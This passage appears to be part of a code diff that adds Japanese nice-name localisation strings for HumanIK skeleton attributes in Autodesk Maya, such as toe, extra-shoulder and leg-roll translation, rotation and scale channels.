+setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTz", "左足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyR", "左足内側の小指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRx", "左足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRy", "左足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRz", "左足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyS", "左足内側の小指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySx", "左足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySy", "左足内側の小指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySz", "左足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPGX", "左足内側の小指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyROrder", "左足内側,小指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySC", "左足内側の小指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyIS", "左足内側の小指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISx", "左足内側の小指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISy", "左足内側の小指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISz", "左足内側の小指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreR", "左足内側の小指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRx", "左足内側の小指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRy", "左足内側の小指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRz", "左足内側の小指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostR", "左足内側の小指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRx", "左足内側の小指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRy", "左足内側の小指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRz", "左足内側の小指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerT", "左足内側の追加指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTx", "左足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTy", "左足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTz", "左足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerR", "左足内側の追加指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRx", "左足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRy", "左足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRz", "左足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerS", "左足内側の追加指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSx", "左足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSy", "左足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSz", "左足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPGX", "左足内側の追加指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerROrder", "左足内側,追加指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSC", "左足内側の追加指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerIS", "左足内側の追加指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISx", "左足内側の追加指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISy", "左足内側の追加指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISz", "左足内側の追加指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreR", "左足内側の追加指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRx", "左足内側の追加指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRy", "左足内側の追加指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRz", "左足内側の追加指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostR", "左足内側の追加指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRx", "左足内側の追加指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRy", "左足内側の追加指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRz", "左足内側の追加指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbT", "右足内側の親指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTx", "右足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTy", "右足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTz", "右足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbR", "右足内側の親指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRx", "右足内側の親指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRy", "右足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRz", "右足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbS", "右足内側の親指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSx", "右足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSy", "右足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSz", "右足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPGX", "右足内側の親指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbROrder", "右足内側,親指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSC", "右足内側の親指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbIS", "右足内側の親指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISx", "右足内側の親指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISy", "右足内側の親指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISz", "右足内側の親指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreR", "右足内側の親指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRx", "右足内側の親指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRy", "右足内側の親指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRz", "右足内側の親指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostR", "右足内側の親指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRx", "右足内側の親指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRy", "右足内側の親指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRz", "右足内側の親指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexT", "右足内側の人差指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTx", "右足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTy", "右足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTz", "右足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexR", "右足内側の人差指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRx", "右足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRy", "右足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRz", "右足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexS", "右足内側の人差指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSx", "右足内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSy", "右足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSz", "右足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPGX", "右足内側の人差指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexROrder", "右足内側,人差指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSC", "右足内側の人差指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexIS", "右足内側の人差指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISx", "右足内側の人差指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISy", "右足内側の人差指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISz", "右足内側の人差指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreR", "右足内側の人差指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRx", "右足内側の人差指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRy", "右足内側の人差指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRz", "右足内側の人差指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostR", "右足内側の人差指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRx", "右足内側の人差指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRy", "右足内側の人差指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRz", "右足内側の人差指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleT", "右足内側の中指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTx", "右足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTy", "右足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTz", "右足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleR", "右足内側の中指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRx", "右足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRy", "右足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRz", "右足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleS", "右足内側の中指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSx", "右足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSy", "右足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSz", "右足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePGX", "右足内側の中指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleROrder", "右足内側,中指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSC", "右足内側の中指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleIS", "右足内側の中指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISx", "右足内側の中指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISy", "右足内側の中指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISz", "右足内側の中指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreR", "右足内側の中指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRx", "右足内側の中指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRy", "右足内側の中指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRz", "右足内側の中指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostR", "右足内側の中指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRx", "右足内側の中指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRy", "右足内側の中指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRz", "右足内側の中指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingT", "右足内側の薬指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTx", "右足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTy", "右足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTz", "右足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingR", "右足内側の薬指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRx", "右足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRy", "右足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRz", "右足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingS", "右足内側の薬指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSx", "右足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSy", "右足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSz", "右足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPGX", "右足内側の薬指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingROrder", "右足内側,薬指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSC", "右足内側の薬指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingIS", "右足内側の薬指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISx", "右足内側の薬指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISy", "右足内側の薬指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISz", "右足内側の薬指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreR", "右足内側の薬指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRx", "右足内側の薬指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRy", "右足内側の薬指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRz", "右足内側の薬指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostR", "右足内側の薬指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostRx", "右足内側の薬指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostRy", "右足内側の薬指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostRz", "右足内側の薬指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyT", "右足内側の小指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTx", "右足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTy", "右足内側の小指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyTz", "右足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyR", "右足内側の小指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRx", "右足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRy", "右足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyRz", "右足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyS", "右足内側の小指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySx", "右足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySy", "右足内側の小指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySz", "右足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPGX", "右足内側の小指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyROrder", "右足内側,小指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkySC", "右足内側の小指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyIS", "右足内側の小指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISx", "右足内側の小指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISy", "右足内側の小指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyISz", "右足内側の小指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreR", "右足内側の小指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRx", "右足内側の小指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRy", "右足内側の小指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPreRz", "右足内側の小指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostR", "右足内側の小指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRx", "右足内側の小指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRy", "右足内側の小指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootPinkyPostRz", "右足内側の小指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerT", "右足内側の追加指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTx", "右足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTy", "右足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerTz", "右足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerR", "右足内側の追加指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRx", "右足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRy", "右足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerRz", "右足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerS", "右足内側の追加指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSx", "右足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSy", "右足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSz", "右足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPGX", "右足内側の追加指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerROrder", "右足内側,追加指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerSC", "右足内側の追加指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerIS", "右足内側の追加指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISx", "右足内側の追加指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISy", "右足内側の追加指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerISz", "右足内側の追加指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreR", "右足内側の追加指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRx", "右足内側の追加指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRy", "右足内側の追加指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPreRz", "右足内側の追加指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostR", "右足内側の追加指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRx", "右足内側の追加指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRy", "右足内側の追加指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootExtraFingerPostRz", "右足内側の追加指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraT", "追加の左肩 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTx", "追加の左肩 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTy", "追加の左肩 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraTz", "追加の左肩 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraR", "追加の左肩 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRx", "追加の左肩 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRy", "追加の左肩 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraRz", "追加の左肩 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraS", "追加の左肩 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSx", "追加の左肩 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSy", "追加の左肩 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSz", "追加の左肩 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPGX", "追加の左肩の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraROrder", "追加の左肩の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraSC", "追加の左肩 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraIS", "追加の左肩 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISx", "追加の左肩 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISy", "追加の左肩 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraISz", "追加の左肩 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreR", "追加の左肩のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRx", "追加の左肩のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRy", "追加の左肩のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPreRz", "追加の左肩のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostR", "追加の左肩のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRx", "追加の左肩のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRy", "追加の左肩のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderExtraPostRz", "追加の左肩のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraT", "追加の右肩 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTx", "追加の右肩 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTy", "追加の右肩 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraTz", "追加の右肩 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraR", "追加の右肩 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRx", "追加の右肩 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRy", "追加の右肩 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraRz", "追加の右肩 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraS", "追加の右肩 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSx", "追加の右肩 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSy", "追加の右肩 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSz", "追加の右肩 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPGX", "追加の右肩の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraROrder", "追加の右肩の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraSC", "追加の右肩 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraIS", "追加の右肩 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISx", "追加の右肩 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISy", "追加の右肩 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraISz", "追加の右肩 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreR", "追加の右肩のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRx", "追加の右肩のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRy", "追加の右肩のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPreRz", "追加の右肩のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostR", "追加の右肩のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRx", "追加の右肩のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRy", "追加の右肩のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderExtraPostRz", "追加の右肩のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1T", "左大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Tx", "左大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Ty", "左大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Tz", "左大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1R", "左大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Rx", "左大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Ry", "左大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Rz", "左大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1S", "左大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sx", "左大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sy", "左大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1Sz", "左大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PGX", "左大腿部ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", "左大腿部ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1SC", "左大腿部ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1IS", "左大腿部ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISx", "左大腿部ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISy", "左大腿部ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1ISz", "左大腿部ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreR", "左大腿部ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreRx", "左大腿部ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PreRy", "左大腿部ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", 